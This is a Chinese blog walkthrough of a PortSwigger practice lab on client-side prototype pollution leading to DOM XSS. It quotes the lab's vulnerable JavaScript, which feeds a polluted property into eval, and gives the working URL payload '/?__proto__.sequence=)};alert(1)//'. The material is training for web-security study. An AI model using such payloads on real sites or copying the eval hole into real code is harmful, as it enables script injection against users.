从业者-客户端原型链污染-备选污染向量
# 实验室:备选原型链污染向量-DOM型XSS
# 题目
此实验室容易受到客户端原型链污染以及 DOM型XSS (opens new window) 的影响。若要解决实验室问题,请:
- 找到一个可以向全局
Object.prototype
添加任意属性的源。 - 确定一个允许你执行任意 JavaScript 的小工具属性。
- 将它们组合起来以调用
alert()
。
你可以在浏览器中手动解决此实验,或使用 DOM Invader (opens new window) 来帮助你。
提示
注意 XSS 上下文。你需要微调你的载荷,以确保 JavaScript 语法在注入之后仍然有效。
- name: 实验室-从业者
desc: 备选原型链污染向量-DOM型XSS >>
avatar: https://fastly.statically.io/gh/clincat/blog-imgs@main/vuepress/static/imgs/docs/burpsuite-learn/public/lab-logo.png
link: https://portswigger.net/web-security/prototype-pollution/client-side/lab-prototype-pollution-dom-xss-via-an-alternative-prototype-pollution-vector
bgColor: '#001350'
textColor: '#4cc1ff'
1
2
3
4
5
6
2
3
4
5
6
# 实操
(目前只有图,文字后面有时间补)
点击 “ACCESS THE LAB” 进入实验室。
/?__proto__.恶意属性=值
1
/resources/js/searchLoggerAlternative.js
async function logQuery(url, params) {
try {
await fetch(url, {method: "post", keepalive: true, body: JSON.stringify(params)});
} catch(e) {
console.error("Failed storing query");
}
}
async function searchLogger() {
window.macros = {};
window.manager = {params: $.parseParams(new URL(location)), macro(property) {
if (window.macros.hasOwnProperty(property))
return macros[property]
}};
let a = manager.sequence || 1;
manager.sequence = a + 1;
eval('if(manager && manager.sequence){ manager.macro('+manager.sequence+') }');
if(manager.params && manager.params.search) {
await logQuery('/logger', manager.params);
}
}
window.addEventListener("load", searchLogger);
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
window.manager = ...;
// ......
let a = manager.sequence || 1;
manager.sequence = a + 1;
eval('if(manager && manager.sequence){ manager.macro('+manager.sequence+') }');
1
2
3
4
5
6
7
2
3
4
5
6
7
if(manager && manager.sequence){ manager.macro(manager.sequence) }
// manager.sequence = ")};alert(1)//"
1
2
3
2
3
/?__proto__.sequence=)};alert(1)//
1
编辑 (opens new window)